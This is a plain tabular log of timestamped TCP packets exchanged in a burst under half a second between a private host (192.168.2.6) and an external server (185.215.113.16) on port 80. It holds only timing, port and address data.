Dec 8, 2024 15:38:55.125128984 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.125174999 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.125904083 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.125952005 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.126111031 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.126152992 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.127094984 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.127146006 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.128295898 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.128309011 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.128349066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.128465891 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.128515959 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.129574060 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.129623890 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.129822016 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.129872084 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.130731106 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.130750895 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.130789995 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.130803108 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.131941080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.131989956 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.132121086 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.132169008 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.132985115 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.133032084 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.133253098 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.133301020 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.134191036 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.134239912 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.134691000 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.134737968 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.135370016 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.135381937 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.135420084 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.136537075 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.136588097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.137286901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.137340069 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.137689114 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.137701988 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.137739897 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.138892889 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.138941050 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.139127016 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.140295982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.140350103 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.140526056 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.140568018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.141266108 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.141282082 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.141331911 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.141331911 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.142401934 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.142416000 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.142467022 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.143608093 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.143671989 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.144227982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.144285917 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.144896984 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.144988060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.145860910 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.145875931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.145889044 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.145925999 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.145953894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.147109032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.147224903 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.147268057 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.148247957 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.148293018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.148761034 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.148803949 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.149383068 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.149429083 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.149883032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.149928093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.150624990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.150669098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.150909901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.150958061 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.151878119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.152654886 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.152702093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.153119087 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.153163910 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.153985977 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.154026985 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.154263020 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.154304028 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.154679060 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.155087948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.155356884 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.155415058 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.155673027 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.155721903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.156446934 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.156500101 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.156764984 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.156811953 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.157651901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.157665014 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.157711029 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.158901930 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.158982992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.159034014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.160008907 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.160058022 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.160144091 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.160183907 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.161225080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.161272049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.161973000 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.162347078 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.162363052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.162393093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.162422895 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.163487911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.164307117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.164360046 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.164664984 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.164710999 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.164917946 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.164962053 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.166084051 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.167356968 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.296670914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.296736956 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.296838999 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.296881914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.297188997 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.297246933 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.297676086 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.297734976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.298520088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.298597097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.298615932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.298655987 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.299540997 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.299628973 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.299957991 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.300008059 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.300431013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.300483942 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.300659895 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.300702095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.301654100 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.301723003 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.302902937 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.302915096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.302927017 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.302973032 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.303008080 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.303967953 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.304023981 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.305176020 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.305186987 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.305193901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.305298090 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.306319952 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.306370020 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.306684017 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.306754112 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.307492971 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.307504892 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.307544947 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.308670998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.308717966 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.309855938 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.309905052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.309906006 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.309919119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.309942007 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.309957027 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.311110973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.311171055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.312213898 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.312226057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.312237978 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.312256098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.312282085 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.313354015 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.313404083 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.313648939 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.313702106 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.314529896 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.314694881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.314719915 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.314745903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.315732956 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.315783978 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.315839052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.315880060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.316905022 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.317066908 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.319403887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.319422007 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.319437981 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.319449902 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.319462061 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.319484949 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.319505930 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.320496082 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.320509911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.320540905 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.320550919 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.320561886 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.320590973 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.321659088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.321752071 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.321784973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.321821928 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.322745085 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.322875023 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.323930025 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.323941946 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.323982954 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.324028015 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.324069977 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.325148106 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.325192928 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.326292038 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.326303959 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.326354027 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.326431990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.326487064 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.327449083 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.327496052 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.328743935 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.328756094 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.328792095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.328830957 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.328869104 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.329783916 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.329830885 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.330679893 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.330756903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.331002951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.331039906 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.331077099 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.332221985 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.332233906 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.332272053 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.333328009 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.333372116 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.334032059 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.334090948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.334501028 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.334547043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.334773064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.334836960 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.335699081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.335731030 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.335743904 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.335771084 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.336868048 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.336909056 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.338017941 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.338028908 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.338042021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.338057041 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.338083029 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.339557886 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.339624882 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.340396881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.340410948 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.340424061 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.340445042 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.340459108 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.341567039 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.341646910 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.341730118 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.341778040 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.342818022 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.342830896 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.342868090 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.343931913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.344033003 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.344064951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.344115019 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.345112085 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.345161915 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.345482111 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.345529079 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.346323013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.346383095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.346682072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.346729040 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.347511053 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.347562075 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.347836971 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.347883940 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.348670959 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.348727942 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.349129915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.349225998 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.349843025 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.349889994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.350811958 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.350918055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.351001978 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.351015091 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.351056099 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.352189064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.352257967 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.352499008 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.352679014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.353368998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.353415966 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.353498936 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.353545904 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.354640007 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.354657888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.354688883 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.354717016 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.355758905 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.355804920 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.356900930 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.356913090 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.356925964 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.356949091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.356986046 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.358019114 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.358074903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.489765882 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.490411043 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.490427971 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.490483046 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.490503073 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.490535975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.491486073 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.491540909 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.491729021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.491775990 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.492691994 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.492744923 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.492919922 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.492965937 CET	49825	80	192.168.2.6	185.215.113.16
